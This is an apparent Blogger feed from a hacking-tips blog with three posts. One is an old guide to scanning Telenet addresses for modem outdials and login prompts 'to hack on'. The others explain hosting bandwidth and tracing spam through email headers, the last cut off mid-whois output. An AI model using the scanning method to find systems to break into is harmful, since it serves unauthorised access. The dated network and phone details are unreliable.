<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" media="screen" href="/~d/styles/atom10full.xsl"?><?xml-stylesheet type="text/css" media="screen" href="http://feeds.feedburner.com/~d/styles/itemcontent.css"?><feed xmlns="http://www.w3.org/2005/Atom" xmlns:openSearch="http://a9.com/-/spec/opensearch/1.1/" xmlns:georss="http://www.georss.org/georss" xmlns:gd="http://schemas.google.com/g/2005" xmlns:thr="http://purl.org/syndication/thread/1.0" xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0" gd:etag="W/&quot;AkAMQHg_eCp7ImA9WhRRFE4.&quot;"><id>tag:blogger.com,1999:blog-2593002338410295360</id><updated>2011-11-27T16:06:21.640-08:00</updated><category term="UNIX" /><category term="Coding" /><category term="Commands" /><category term="Internet" /><category term="Bindery" /><category term="Email" /><category term="Shellcoding" /><category term="Zones" /><category term="Explained" /><category term="Real Media" /><category term="Design" /><category term="Tips" /><category term="Attack" /><category term="Tutorial" /><category term="Hotmail" /><category term="Techniques" /><category term="Google" /><category term="Spyware" /><category term="Anti Leech" /><category term="Code" /><category term="mlRC" /><category term="Graphics" /><category term="E Books" /><category term="ANONYMOUS" /><category term="FTP" /><category term="NETWORKING" /><category term="Time" /><category term="Hacking" /><category term="BackDoor" /><category term="Anonymity" /><category term="Book" /><category term="BandWidth" /><category term="Pc" /><category term="ANSI Bombs" /><title>Hacking 1001 Tips!!</title><subtitle type="html">When secrets are open.......</subtitle><link rel="http://schemas.google.com/g/2005#feed" type="application/atom+xml" href="http://hacking1001tips.blogspot.com/feeds/posts/default" /><link rel="alternate" type="text/html" href="http://hacking1001tips.blogspot.com/" /><link rel="next" type="application/atom+xml" href="http://www.blogger.com/feeds/2593002338410295360/posts/default?start-index=26&amp;max-results=25&amp;redirect=false&amp;v=2" /><author><name>ahaks</name><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><generator version="7.00" uri="http://www.blogger.com">Blogger</generator><openSearch:totalResults>29</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>25</openSearch:itemsPerPage><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="self" type="application/atom+xml" href="http://feeds.feedburner.com/Hacking1001Tips" /><feedburner:info uri="hacking1001tips" /><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="hub" href="http://pubsubhubbub.appspot.com/" /><entry gd:etag="W/&quot;DEUEQX89fSp7ImA9WxdbFUg.&quot;"><id>tag:blogger.com,1999:blog-2593002338410295360.post-2547840378740514830</id><published>2008-08-12T08:49:00.000-07:00</published><updated>2008-08-12T08:50:00.165-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2008-08-12T08:50:00.165-07:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="NETWORKING" /><title>BASIC NETWORKING</title><content type="html">&lt;div style="text-align: left;"&gt;&lt;br /&gt;&lt;br /&gt;                           BASIC NETWORKING&lt;br /&gt;&lt;br /&gt;   Well, many people have asked me "how do i use Telenet".."how do i use an outdial". Well i have decided to write a very basic file on telenet and how to get around on the networks.&lt;br /&gt;&lt;br /&gt;   Well Telenet and others are PSN's or (Packet Switching Networks) these nets are connected to many other networks around the world.  You can do alot with just basic knowledge that i have (most of you will know this and way beyond what i know but some will benefit from it) i will start with some of the terms that are often used with these services.&lt;br /&gt;&lt;br /&gt;Access Number- The direct number that you dial to access a network (duh).&lt;br /&gt;&lt;br /&gt;Nua (Network Users Address) - An Nua is basicly a number you type in to access that particular service think of an Nua as a phone number sorta its not an actually phone number with an Acn country code or whatever because the service is connected to the network world wide.  I hope that was fairly clear let me show this think of the planet earth as an network and  to reach the services on the planet you call the phone number like the service is a persons residence or business phone or payphone whatever just like on a network an Nua is the Address to a system or outdial whatever on the particular network. I hope this is clear or atleast somewhat understood.&lt;br /&gt;&lt;br /&gt;Nui (Network User Identification) - An Nui is like a Account and Password to the network like an account and password is to a bbs that lets you access the system.  Some people use Nui for like anything like an Vax system Unix systems they are referring to an Nui as basicly a account on the particular system that lets you use the system.&lt;br /&gt;&lt;br /&gt;DNIC (Data Network Identification Code) - The DNIC is like a 4 digit code that represents what Psn it is think of an DNIC like an AreaCode and the Nua the individual phone number.&lt;br /&gt;&lt;br /&gt;Outdial - Is basicly what it says an modem port connected somewhere on the network that will allow you to dial out from and connect data only to a actually phone number not an Nua.&lt;br /&gt;&lt;br /&gt;Pad (Packet Assemble Disassembler) - an x.25 pad is very useful an pad using x.25. protocal transmits at 9600 bps to an Nua. This may sound funny but i call them "Launch Pads" heh like with an x.25 you can usally access any Nua on the planet by usally typing the Dnic+Nua.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;     Now i will explain various things and give helpful ideas.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;   Let me start off with some helpful things for you to try and do.&lt;br /&gt;&lt;br /&gt;                               TeleNet&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;   The first thing your going to have to have is your Access number it is very easy to get your local access number.  Simply call telenet at 1-800-TELENET that is thier customer service number and ask for your dialup the operator will ask for your area code and prefix of your phone number he/she will also ask your baud rate.  There are many telenet ports across the country and internationly with varying baud rates from 110 bps (yuck) to 9600 (i wish i had) so you will want your maximum baud port most locations have atleast 1200 many have 2400 and not alot have 9600 ports like for big cities like Detroit and Los Angeles at the end of the file i will list some useful numbers.&lt;br /&gt;Some things to do while online with Telenet and Tymnet.  While at the @ on the Telenet system type "mail" or "C mail" or "telemail" or even "c telemail" this access's telenets mail system simple entitled "Telemail" from there it will ask "user name" or something like that type "phones" next it will prompt you "password" enter "phones".  The phones service has alot of worthy information it will give you a menu to choose from the rest should be self explanatory.  Along with the other information on the phones service there is a complete updated list of all Telenet access numbers which is conveinent.  Once you have tried the phones service also on telemail enter "Intl/Associates" as the user name and "Intl" for the international access numbers.  If you are calling from overseas somewhere connect with an telenet access number then type this Nua at the telenet @ prompt "311020200142" and enter the username and password.&lt;br /&gt;You might want to pick up a sort of a reference booklet on Telenet simply again call the customer service number and ask them for "How to use Telenet's Asychronus Dial Service" and give them your address which is self explanatory.&lt;br /&gt;Another tidbit of info you would like to know if you already didnt know that Telenet is owned by Us Sprint long distance service.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;                             Tymnet&lt;br /&gt;&lt;br /&gt;   The same goes for Tymnet service you will first need an Access Number.  Simply call Tymnet customer service at 1-800-872-7654 and ask them.  Again you might like to get Tymnets reference booklet on how to use there system simply again ask them to send it to you.  Once online with a Tymnet access number type "Information" at the user name prompt and you will be connected to another nice thing on tymnet which you have access to all thier Access Numbers also just like the "phones" service on Telenet.  Tymnet is owned by "Mcdowell Douglas" corporation.  Unlike Telenet where a long distance company owns the network.  On Tymnet in the "Information" service there is a very cool option that will provide you with all the Dnic's (Networks) available from Tymnet.  You may also want to get that on buffer but for your conveinience i will include a copy of that.  The file "Basic.NetworksII" is the complete listing and i would like the Basic.NetworksII file to be accompanied by this file for the most part.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;                          Outdials&lt;br /&gt;&lt;br /&gt;   Now i will discuss Outdials and tell how to use them.  An Outdial on Telenet is an Pcp Port usally.  It will enable you to connect data with a carrier.  An Outdial is a modem connected up to the network to access the outdial spimply type the outdials Nua.  Usally you will need a Nui or Pad to use an Outdial on Telenet just to let you know.  Once connected to an Outdial on Telenet type "Ctrl-e" to get into the command mode of the Outdial or if your sharp on your Hayes modem AT command set just issue the commands thru the Outdial besure to type "Atz" when logged in to reset the modem parameters to default values.  Outdials range from different baud rates just like what kind of modem is hooked into the Outdial port.  This is the basic Telenet Outdial but there are many types a Tymnet Asychronus is a very good Outdial to use like i said there are many different types the above is for Telenet Pcp Outdials which are used most widely.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;                      Scanning Telenet&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;   Well now i will explain how to scan telenet and how to find Pcp outdials etc.  When scanning telenet call your Access Number and at the prompt enter the Nua.  Plan to scan a certain amount of Nua's in a session wether the number is up to you, usally when i scan i scan in blocks of 100 you can find alot of things while scanning.  I will tell how to find pcp outdials, first if your looking for a particular area code for the outdial take the 313 area code for example usally an outdial is in the first 150 numbers scanned so i would suggest if scanning for outdials scan like this..the area code for which you want the outdial two 0's then a three digit number so the scan would look like this...31300001,31300002,31300003 etc.. im sure you get it...along the way you will probably find other neat things.  Some things to know when scanning telenet is when you enter an Nua and it freezes like wont do anything send a break signal, for me i use Proterm for the Apple the break signal is open-apple b once the break signal is sent it should go back to a @ prompt again.  If you try scanning another nua directly after you broke out from the frozen portion Telenet will give you an error message "Connection Pending" which means it is still looking for the Nua system from which you requested previously.  To remedy this situation after the break signal is sent type "d" for disconnect it will then tell you the connection has been terminated. Proceed scanning the Nua continuing where you left off. (Note. you will get the freeze and have to repeat the sequence over and over again as of there are A LOT of Nuas that freeze) Well i bet your asking "how do i know when ive found an outdial?" usally Telenet will respond with a connect message and then nothing try to type "Atz" if it responds "ok" then you have a Outdial port where as Atz is the hayes modem command for reseting the modems paramaters to default settings.  Ok now i will explain some things to look for and some wise things to do while scanning and also supply an response key explanations.&lt;br /&gt;Whenever you "Connected" to an Nua write it down no matter what it is make notes of what you find and label them for instance if you encounter any of these messages.&lt;br /&gt;&lt;br /&gt; User Name = a Vax System&lt;br /&gt; Login = a Unix system&lt;br /&gt; Primenet = a prime system&lt;br /&gt; Password = something worth noting&lt;br /&gt;&lt;br /&gt;Basicly anything that connects take note of this is very useful for finding systems to hack on even though most or all of Telenet has been scanned at one time or another there are always somethings to do! that is a FACT!  Be sure to write down all "Refused Collect Connection" also because we must not forget that when we request an Nua that we are asking for a collect call all Nuas inputed on Telenet without an Nui are being paid for by the particlar system requested that is why when an Outdials Nua is requested without any sort of Pad,Nui etc. it will not excecpt the call in all cases i have encountered&lt;br /&gt;&lt;br /&gt;Here is a list of Network Messages that Telenet will respond with remember these are for any type of Telenet access the following may appear and a completed explanation.&lt;br /&gt;&lt;br /&gt;      @ is the network command prompt&lt;br /&gt;    &lt;br /&gt;      ? the last entry was invalid&lt;br /&gt;&lt;br /&gt;      Access Bared - Your connection request does not allow you to                 connect to this system&lt;br /&gt;&lt;br /&gt;      Access to This Address not permitted - Your Nui is not authorized to            access the address you typed&lt;br /&gt;&lt;br /&gt;      Attempt Aborted - You enterd the disconnect command (as we said before          when it freezes when scanning)&lt;br /&gt;&lt;br /&gt;      Busy - All the ports,destinations are in use try again later&lt;br /&gt;&lt;br /&gt;      Collect Wats Call Not Permitted - Collect Wats calls not permitted by           your host or authorized by your Nui&lt;br /&gt;&lt;br /&gt;      Connected - Your terminal has been connected to the Nua system you              requested&lt;br /&gt;&lt;br /&gt;      Connection From - Your terminal has been called by another computer or          terminal&lt;br /&gt;&lt;br /&gt;      Connection Pending - The Network is try to establish a connection with          the Nua you requested (enter the d command or "bye" to disconnect the           attempt)&lt;br /&gt;&lt;br /&gt;      Disconnected - Your terminal has been disconnected from the terminal            you called&lt;br /&gt;&lt;br /&gt;      Enhanced Network Services System Error - Your call couldnt be                 validated contact customer service&lt;br /&gt;&lt;br /&gt;      Enhanced Network services unavailable at this time - Serivce is                 temporarily unavailable try again later&lt;br /&gt;&lt;br /&gt;      Illegal Address - enter the Connect sequence again whether it be an Nua         or a system name&lt;br /&gt;&lt;br /&gt;      Invalid Charge Request -  your payment selection is not valid&lt;br /&gt;&lt;br /&gt;      Invalid User Id or Password - The Nui you entered is not valid&lt;br /&gt;    &lt;br /&gt;      Local Congestion - Your local Access number is busy try again in a              couple minutes&lt;br /&gt;&lt;br /&gt;      Local Disconnect - Your Terminal has been disconnected&lt;br /&gt;&lt;br /&gt;      Local Network Outage - A temporary problem is preventing you from using         the network&lt;br /&gt;&lt;br /&gt;      Local Procedure Error - Communication problems by the network caused            the network to clear your call&lt;br /&gt;&lt;br /&gt;      Not Available,Not Operating,Not Responding -  Your Computer cannot              accept your request for connection try later&lt;br /&gt;&lt;br /&gt;      Not Connected - You have entered a command thai s only valid when               connected to a system type "cont" to be brought back into the                 connection&lt;br /&gt;&lt;br /&gt;      Not Reachable - A temporary conditon prevents you from using the                network&lt;br /&gt;&lt;br /&gt;      Password - This is the prompt which apprears after youve entered an Nui&lt;br /&gt;&lt;br /&gt;      *** Possible Data Loss - connecton has been reset&lt;br /&gt;&lt;br /&gt;      Refused Collect Connection - Your payment selection must be prepaid&lt;br /&gt;&lt;br /&gt;      Rejecting - Host copmputer refuses to accept the call&lt;br /&gt;&lt;br /&gt;      Remote Procedure Error - Communication problems forced the network to           clear our call&lt;br /&gt;&lt;br /&gt;      Still Connected - You requested another service while your online to            another&lt;br /&gt;&lt;br /&gt;      Telenet XXX XXX - Network Port you are using&lt;br /&gt;&lt;br /&gt;      Terminal - This is the terminal type prompt&lt;br /&gt;&lt;br /&gt;      Unable to validate call - Your Nui has been temporarily disbaled&lt;br /&gt;&lt;br /&gt;      Unable to validate call contact admin - The Nui has been permently              disabled&lt;br /&gt;    &lt;br /&gt;      Unknown Adress - Your Nua may be invalid&lt;br /&gt;&lt;br /&gt;      Wats Call not permitted - Telenet In-wats calls are not permitted by            your host or your Nui&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Well that is the end of the Telenet messages and this is the end of our file only left is the numbers i have and some other usual stuff&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Telenet Customer service 1-800-TELENET&lt;br /&gt;Tymnet Customer service 1-800-872-7654&lt;br /&gt;Telenet Access # 313/964-2988 1200 bps 313/963-2274 2400 313/964-3133 9600 bps&lt;br /&gt;Tymnet Access# 313/962-2870&lt;br /&gt;Global Outdial at 20200123&lt;br /&gt;&lt;br /&gt;Well that is about it id like to greet some people here SoldierOfFortune,Frodo,TheBit,Hellraiser,Icecube,Slaytanic,Corrupt,Lorax,Deadman#The Disk Master,The Hunter,DPAK,MOD,Rat,The Traxster,The Apple Bandit,El Cid,Shadow,Blue Adept,Blacknight,LOD,HALE,DungeonMaster,Blackbeard,Kilroy,The Whole Interchat scene,All my buddys from the alliances,Gambler,Sabers Edge,Misfit,The Flash,Qsd friends,All the people who called my Vmb'z for "Rad Infoz" and helped to keep it going and all the whole people you make a difference "All you Kids out There keep the Faith!"&lt;br /&gt;&lt;br /&gt;I can be reached on Funtime Gs at 305-989-0181 d215*guest is the new user pass&lt;br /&gt;I can be reached at this Vmb 313-980-5632&lt;br /&gt;and soon im going to be running a bbs with a friend of mine so be sure to look for that like i said im outta here Slaytze!!!!&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Text-Files 2: &lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2593002338410295360-2547840378740514830?l=hacking1001tips.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/STn-OQm3etG9r-RvACC0p-W1K_k/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/STn-OQm3etG9r-RvACC0p-W1K_k/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/STn-OQm3etG9r-RvACC0p-W1K_k/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/STn-OQm3etG9r-RvACC0p-W1K_k/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/Hacking1001Tips/~4/6U9Z3-WIvAk" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://hacking1001tips.blogspot.com/feeds/2547840378740514830/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=2593002338410295360&amp;postID=2547840378740514830" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/2593002338410295360/posts/default/2547840378740514830?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/2593002338410295360/posts/default/2547840378740514830?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/Hacking1001Tips/~3/6U9Z3-WIvAk/basic-networking.html" title="BASIC NETWORKING" /><author><name>ahaks</name><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><thr:total>0</thr:total><feedburner:origLink>http://hacking1001tips.blogspot.com/2008/08/basic-networking.html</feedburner:origLink></entry><entry gd:etag="W/&quot;DEcBRHY5eSp7ImA9WxdbFUg.&quot;"><id>tag:blogger.com,1999:blog-2593002338410295360.post-5301645488073176950</id><published>2008-08-12T08:47:00.001-07:00</published><updated>2008-08-12T08:47:35.821-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2008-08-12T08:47:35.821-07:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="Explained" /><category scheme="http://www.blogger.com/atom/ns#" term="BandWidth" /><title>BandWidth Explained</title><content type="html">Most hosting companies offer a variety of bandwidth options in their plans. So exactly what is bandwidth as it relates to web hosting? Put simply, bandwidth is the amount of traffic that is allowed to occur between your web site and the rest of the internet. The amount of bandwidth a hosting company can provide is determined by their network connections, both internal to their data center and external to the public internet.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Network Connectivity&lt;br /&gt;&lt;br /&gt;The internet, in the most simplest of terms, is a group of millions of computers connected by networks. These connections within the internet can be large or small depending upon the cabling and equipment that is used at a particular internet location. It is the size of each network connection that determines how much bandwidth is available. For example, if you use a DSL connection to connect to the internet, you have 1.54 Mega bits (Mb) of bandwidth. Bandwidth therefore is measured in bits (a single 0 or 1). Bits are grouped in bytes which form words, text, and other information that is transferred between your computer and the internet.&lt;br /&gt;&lt;br /&gt;If you have a DSL connection to the internet, you have dedicated bandwidth between your computer and your internet provider. But your internet provider may have thousands of DSL connections to their location. All of these connection aggregate at your internet provider who then has their own dedicated connection to the internet (or multiple connections) which is much larger than your single connection. They must have enough bandwidth to serve your computing needs as well as all of their other customers. So while you have a 1.54Mb connection to your internet provider, your internet provider may have a 255Mb connection to the internet so it can accommodate your needs and up to 166 other users (255/1.54).&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Traffic&lt;br /&gt;&lt;br /&gt;A very simple analogy to use to understand bandwidth and traffic is to think of highways and cars. Bandwidth is the number of lanes on the highway and traffic is the number of cars on the highway. If you are the only car on a highway, you can travel very quickly. If you are stuck in the middle of rush hour, you may travel very slowly since all of the lanes are being used up.&lt;br /&gt;&lt;br /&gt;Traffic is simply the number of bits that are transferred on network connections. It is easiest to understand traffic using examples. One Gigabyte is 2 to the 30th power (1,073,741,824) bytes. One gigabyte is equal to 1,024 megabytes. To put this in perspective, it takes one byte to store one character. Imagine 100 file cabinets in a building, each of these cabinets holds 1000 folders. Each folder has 100 papers. Each paper contains 100 characters - A GB is all the characters in the building. An MP3 song is about 4MB, the same song in wav format is about 40MB, a full length movie can be 800MB to 1000MB (1000MB = 1GB).&lt;br /&gt;&lt;br /&gt;If you were to transfer this MP3 song from a web site to your computer, you would create 4MB of traffic between the web site you are downloading from and your computer. Depending upon the network connection between the web site and the internet, the transfer may occur very quickly, or it could take time if other people are also downloading files at the same time. If, for example, the web site you download from has a 10MB connection to the internet, and you are the only person accessing that web site to download your MP3, your 4MB file will be the only traffic on that web site. However, if three people are all downloading that same MP at the same time, 12MB (3 x 4MB) of traffic has been created. Because in this example, the host only has 10MB of bandwidth, someone will have to wait. The network equipment at the hosting company will cycle through each person downloading the file and transfer a small portion at a time so each person's file transfer can take place, but the transfer for everyone downloading the file will be slower. If 100 people all came to the site and downloaded the MP3 at the same time, the transfers would be extremely slow. If the host wanted to decrease the time it took to download files simultaneously, it could increase the bandwidth of their internet connection (at a cost due to upgrading equipment).&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Hosting Bandwidth&lt;br /&gt;&lt;br /&gt;In the example above, we discussed traffic in terms of downloading an MP3 file. However, each time you visit a web site, you are creating traffic, because in order to view that web page on your computer, the web page is first downloaded to your computer (between the web site and you) which is then displayed using your browser software (Internet Explorer, Netscape, etc.) . The page itself is simply a file that creates traffic just like the MP3 file in the example above (however, a web page is usually much smaller than a music file).&lt;br /&gt;&lt;br /&gt;A web page may be very small or large depending upon the amount of text and the number and quality of images integrated within the web page. For example, the home page for CNN.com is about 200KB (200 Kilobytes = 200,000 bytes = 1,600,000 bits). This is typically large for a web page. In comparison, Yahoo's home page is about 70KB.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;How Much Bandwidth Is Enough?&lt;br /&gt;&lt;br /&gt;It depends (don't you hate that answer). But in truth, it does. Since bandwidth is a significant determinant of hosting plan prices, you should take time to determine just how much is right for you. Almost all hosting plans have bandwidth requirements measured in months, so you need to estimate the amount of bandwidth that will be required by your site on a monthly basis&lt;br /&gt;&lt;br /&gt;If you do not intend to provide file download capability from your site, the formula for calculating bandwidth is fairly straightforward:&lt;br /&gt;&lt;br /&gt;Average Daily Visitors x Average Page Views x Average Page Size x 31 x Fudge Factor&lt;br /&gt;&lt;br /&gt;If you intend to allow people to download files from your site, your bandwidth calculation should be:&lt;br /&gt;&lt;br /&gt;[(Average Daily Visitors x Average Page Views x Average Page Size) +&lt;br /&gt;(Average Daily File Downloads x Average File Size)] x 31 x Fudge Factor&lt;br /&gt;&lt;br /&gt;Let us examine each item in the formula:&lt;br /&gt;&lt;br /&gt;Average Daily Visitors - The number of people you expect to visit your site, on average, each day. Depending upon how you market your site, this number could be from 1 to 1,000,000.&lt;br /&gt;&lt;br /&gt;Average Page Views - On average, the number of web pages you expect a person to view. If you have 50 web pages in your web site, an average person may only view 5 of those pages each time they visit.&lt;br /&gt;&lt;br /&gt;Average Page Size - The average size of your web pages, in Kilobytes (KB). If you have already designed your site, you can calculate this directly.&lt;br /&gt;&lt;br /&gt;Average Daily File Downloads - The number of downloads you expect to occur on your site. This is a function of the numbers of visitors and how many times a visitor downloads a file, on average, each day.&lt;br /&gt;&lt;br /&gt;Average File Size - Average file size of files that are downloadable from your site. Similar to your web pages, if you already know which files can be downloaded, you can calculate this directly.&lt;br /&gt;&lt;br /&gt;Fudge Factor - A number greater than 1. Using 1.5 would be safe, which assumes that your estimate is off by 50%. However, if you were very unsure, you could use 2 or 3 to ensure that your bandwidth requirements are more than met.&lt;br /&gt;&lt;br /&gt;Usually, hosting plans offer bandwidth in terms of Gigabytes (GB) per month. This is why our formula takes daily averages and multiplies them by 31.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Summary&lt;br /&gt;&lt;br /&gt;Most personal or small business sites will not need more than 1GB of bandwidth per month. If you have a web site that is composed of static web pages and you expect little traffic to your site on a daily basis, go with a low bandwidth plan. If you go over the amount of bandwidth allocated in your plan, your hosting company could charge you over usage fees, so if you think the traffic to your site will be significant, you may want to go through the calculations above to estimate the amount of bandwidth required in a hosting plan.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2593002338410295360-5301645488073176950?l=hacking1001tips.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/jU5Y3kxeRvWucWHx0-SjGVySAwc/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/jU5Y3kxeRvWucWHx0-SjGVySAwc/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/jU5Y3kxeRvWucWHx0-SjGVySAwc/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/jU5Y3kxeRvWucWHx0-SjGVySAwc/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/Hacking1001Tips/~4/119PXT5GMmc" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://hacking1001tips.blogspot.com/feeds/5301645488073176950/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=2593002338410295360&amp;postID=5301645488073176950" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/2593002338410295360/posts/default/5301645488073176950?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/2593002338410295360/posts/default/5301645488073176950?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/Hacking1001Tips/~3/119PXT5GMmc/bandwidth-explained.html" title="BandWidth Explained" /><author><name>ahaks</name><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><thr:total>0</thr:total><feedburner:origLink>http://hacking1001tips.blogspot.com/2008/08/bandwidth-explained.html</feedburner:origLink></entry><entry gd:etag="W/&quot;D04NSXk9fip7ImA9WxdbFUg.&quot;"><id>tag:blogger.com,1999:blog-2593002338410295360.post-4556254932336479170</id><published>2008-08-12T08:46:00.001-07:00</published><updated>2008-08-12T08:46:38.766-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2008-08-12T08:46:38.766-07:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="Email" /><title>Backtracking EMAIL Messages</title><content type="html">Backtracking EMAIL Messages  &lt;br /&gt;&lt;br /&gt;Tracking email back to its source: Twisted Evil&lt;br /&gt;cause i hate spammers... Evil or Very Mad&lt;br /&gt;&lt;br /&gt;Ask most people how they determine who sent them an email message and the response is almost universally, "By the From line." Unfortunately this symptomatic of the current confusion among internet users as to where particular messages come from and who is spreading spam and viruses. The "From" header is little more than a courtesy to the person receiving the message. People spreading spam and viruses are rarely courteous. In short, if there is any question about where a particular email message came from the safe bet is to assume the "From" header is forged.&lt;br /&gt;&lt;br /&gt;So how do you determine where a message actually came from? You have to understand how email messages are put together in order to backtrack an email message. SMTP is a text based protocol for transferring messages across the internet. A series of headers are placed in front of the data portion of the message. By examining the headers you can usually backtrack a message to the source network, sometimes the source host. A more detailed essay on reading email headers can be found .&lt;br /&gt;&lt;br /&gt;If you are using Outlook or Outlook Express you can view the headers by right clicking on the message and selecting properties or options.&lt;br /&gt;&lt;br /&gt;Below are listed the headers of an actual spam message I received. I've changed my email address and the name of my server for obvious reasons. I've also double spaced the headers to make them more readable.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Return-Path: &lt;s359dyxtt@yahoo.com&gt;&lt;br /&gt;&lt;br /&gt;X-Original-To: davar@example.com&lt;br /&gt;&lt;br /&gt;Delivered-To: davar@example.com&lt;br /&gt;&lt;br /&gt;Received: from 12-218-172-108.client.mchsi.com (12-218-172-108.client.mchsi.com [12.218.172.108])&lt;br /&gt;by mailhost.example.com (Postfix) with SMTP id 1F9B8511C7&lt;br /&gt;for &lt;davar@example.com&gt;; Sun, 16 Nov 2003 09:50:37 -0800 (PST)&lt;br /&gt;&lt;br /&gt;Received: from (HELO 0udjou) [193.12.169.0] by 12-218-172-108.client.mchsi.com with ESMTP id &lt;536806-74276&gt;; Sun, 16 Nov 2003 19:42:31 +0200&lt;br /&gt;&lt;br /&gt;Message-ID: &lt;n5-l067n7z$46-z$-n@eo2.32574&gt;&lt;br /&gt;&lt;br /&gt;From: "Maricela Paulson" &lt;s359dyxtt@yahoo.com&gt;&lt;br /&gt;&lt;br /&gt;Reply-To: "Maricela Paulson" &lt;s359dyxtt@yahoo.com&gt;&lt;br /&gt;&lt;br /&gt;To: davar@example.com&lt;br /&gt;&lt;br /&gt;Subject: STOP-PAYING For Your PAY-PER-VIEW, Movie Channels, Mature Channels...isha&lt;br /&gt;&lt;br /&gt;Date: Sun, 16 Nov 2003 19:42:31 +0200&lt;br /&gt;&lt;br /&gt;X-Mailer: Internet Mail Service (5.5.2650.21)&lt;br /&gt;&lt;br /&gt;X-Priority: 3&lt;br /&gt;&lt;br /&gt;MIME-Version: 1.0&lt;br /&gt;&lt;br /&gt;Content-Type: multipart/alternative; boundary="MIMEStream=_0+211404_90873633350646_4032088448"&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;According to the From header this message is from Maricela Paulson at s359dyxxt@yahoo.com. I could just fire off a message to abuse@yahoo.com, but that would be waste of time. This message didn't come from yahoo's email service.&lt;br /&gt;&lt;br /&gt;The header most likely to be useful in determining the actual source of an email message is the Received header. According to the top-most Received header this message was received from the host 12-218-172-108.client.mchsi.com with the ip address of 21.218.172.108 by my server mailhost.example.com. An important item to consider is at what point in the chain does the email system become untrusted? I consider anything beyond my own email server to be an unreliable source of information. Because this header was generated by my email server it is reasonable for me to accept it at face value.&lt;br /&gt;&lt;br /&gt;The next Received header (which is chronologically the first) shows the remote email server accepting the message from the host 0udjou with the ip 193.12.169.0. Those of you who know anything about IP will realize that that is not a valid host IP address. In addition, any hostname that ends in client.mchsi.com is unlikely to be an authorized email server. This has every sign of being a cracked client system.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Here's is where we start digging. By default Windows is somewhat lacking in network diagnostic tools; however, you can use the tools at to do your own checking.&lt;br /&gt;&lt;br /&gt;davar@nqh9k:[/home/davar] $whois 12.218.172.108&lt;br /&gt;&lt;br /&gt;AT&amp;T WorldNet Services ATT (NET-12-0-0-0-1)&lt;br /&gt;12.0.0.0 - 12.255.255.255&lt;br /&gt;Mediacom Communications Corp MEDIACOMCC-12-218-168-0-FLANDREAU-MN (NET-12-218-168-0-1)&lt;br /&gt;12.218.168.0 - 12.218.175.255&lt;br /&gt;&lt;br 